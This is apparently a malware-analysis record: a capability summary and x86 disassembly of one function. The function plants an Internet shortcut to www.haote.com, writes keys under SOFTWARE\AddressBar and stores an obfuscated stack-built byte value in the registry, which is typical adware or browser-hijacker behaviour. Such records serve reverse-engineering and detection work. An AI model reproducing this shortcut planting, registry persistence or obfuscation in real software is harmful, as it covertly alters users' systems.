Function at 0x40d170
Capabilities:
Contain obfuscated stackstrings
Get process heap force flags
Set registry value

Disassembly:
push 0xffffffffffffffff
push 0x413828
mov eax, dword fs:[0]
push eax
mov dword fs:[0], esp
sub esp, 0x30
push ebx
push ebp
push esi
mov esi, ecx
push edi
push 0x4197e0
lea edi, [esi + 0x30]
lea eax, [esp + 0x18]
push edi
push eax
call sub.MFC42.DLL_operator_1
mov eax, dword [eax]
mov ebx, dword [sym.imp.KERNEL32.dll_WritePrivateProfileStringA]
push eax
push str.http:__www.haote.com_
push str.BASEURL
push str.DEFAULT
call ebx
lea ecx, [esp + 0x14]
call sub.MFC42.DLL_CString::CString
push 0x4197e0
lea ecx, [esp + 0x18]
push edi
push ecx
call sub.MFC42.DLL_operator_1
mov eax, dword [eax]
push eax
push str.http:__www.haote.com_
push 0x4188a4
push str.InternetShortcut
call ebx
lea ecx, [esp + 0x14]
call sub.MFC42.DLL_CString::CString
push 0x4197e0
lea edx, [esp + 0x18]
push edi
push edx
call sub.MFC42.DLL_operator_1
mov eax, dword [eax]
push eax
push str.10CBAECA7C8FCA0129
push str.Modified
push str.InternetShortcut
call ebx
lea ecx, [esp + 0x14]
call sub.MFC42.DLL_CString::CString
push 0x4197e0
lea eax, [esp + 0x1c]
push edi
push eax
call sub.MFC42.DLL_operator_1
mov ebp, dword [eax]
lea ecx, [esi + 0x114]
push str.WINDOWSWebico_favicon.ico
lea edx, [esp + 0x18]
push ecx
push edx
mov dword [esp + 0x54], 0
call sub.MFC42.DLL_operator_1
mov eax, dword [eax]
push ebp
push eax
push str.IconFile
push str.InternetShortcut
call ebx
lea ecx, [esp + 0x14]
call sub.MFC42.DLL_CString::CString
lea ecx, [esp + 0x18]
mov dword [esp + 0x48], 0xffffffff
call sub.MFC42.DLL_CString::CString
push 0x4197e0
lea eax, [esp + 0x20]
push edi
push eax
call sub.MFC42.DLL_operator_1
mov ecx, dword [eax]
push ecx
push 0x418368
push str.IconIndex
push str.InternetShortcut
call ebx
lea ecx, [esp + 0x1c]
call sub.MFC42.DLL_CString::CString
push 0x41a6e8
push 0x41a6e8
push str.SOFTWAREAddressBar
push 0x80000002
mov ecx, esi
call fcn.0040fd00
push str.leizhen_adr
push 0x41973c
push str.SOFTWAREAddressBariexp
push 0x80000002
mov ecx, esi
call fcn.0040fd00
push 0x41a6e8
push 0x41971c
push str.SOFTWAREAddressBariexp
push 0x80000002
mov ecx, esi
call fcn.0040fd00
lea edx, [esp + 0x10]
push edx
push 0xf003f
push 0
push str.SOFTWAREAddressBariexp
push 0x80000002
call dword [sym.imp.ADVAPI32.dll_RegOpenKeyExA]
mov bl, 0x19
pop edi
mov dl, 0x24
mov cl, 0xc7
pop esi
mov byte [esp + 0x1a], bl
mov byte [esp + 0x32], bl
pop ebp
test eax, eax
mov byte [esp + 0x14], 0x57
mov byte [esp + 0x15], 0x3b
mov byte [esp + 0x17], 0xb4
mov byte [esp + 0x18], 0x49
mov byte [esp + 0x19], 0xff
mov byte [esp + 0x1a], dl
mov byte [esp + 0x1b], cl
mov byte [esp + 0x1c], 0xbf
mov byte [esp + 0x1d], 0x34
mov byte [esp + 0x1e], 0x8a
mov byte [esp + 0x1f], 0xd
mov byte [esp + 0x20], dl
mov byte [esp + 0x21], cl
mov byte [esp + 0x22], 0x2c
mov byte [esp + 0x23], 0xca
mov byte [esp + 0x24], 0x7a
mov byte [esp + 0x25], 0x90
mov byte [esp + 0x26], 0x37
mov byte [esp + 0x27], 0xf3
mov byte [esp + 0x28], 0x91
mov byte [esp + 0x29], 0x1b
mov byte [esp + 0x2a], 0x5d
mov byte [esp + 0x2b], 0xd8
mov byte [esp + 0x2c], 0x2b
mov byte [esp + 0x2d], 0x4c
mov byte [esp + 0x2f], 0x18
mov byte [esp + 0x30], 0xc5
mov byte [esp + 0x31], 0xf5
mov byte [esp + 0x32], 0xab
mov byte [esp + 0x33], 0x10
pop ebx
jne 0x40d3e0
mov ecx, dword [esp]
lea eax, [esp + 0x10]
push 0x20
push eax
push 3
push 0
push str.qdmcmc
push ecx
call dword [sym.imp.ADVAPI32.dll_RegSetValueExA]
mov edx, dword [esp]
push edx
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
mov ecx, dword [esp + 0x30]
mov dword fs:[0], ecx
add esp, 0x3c
ret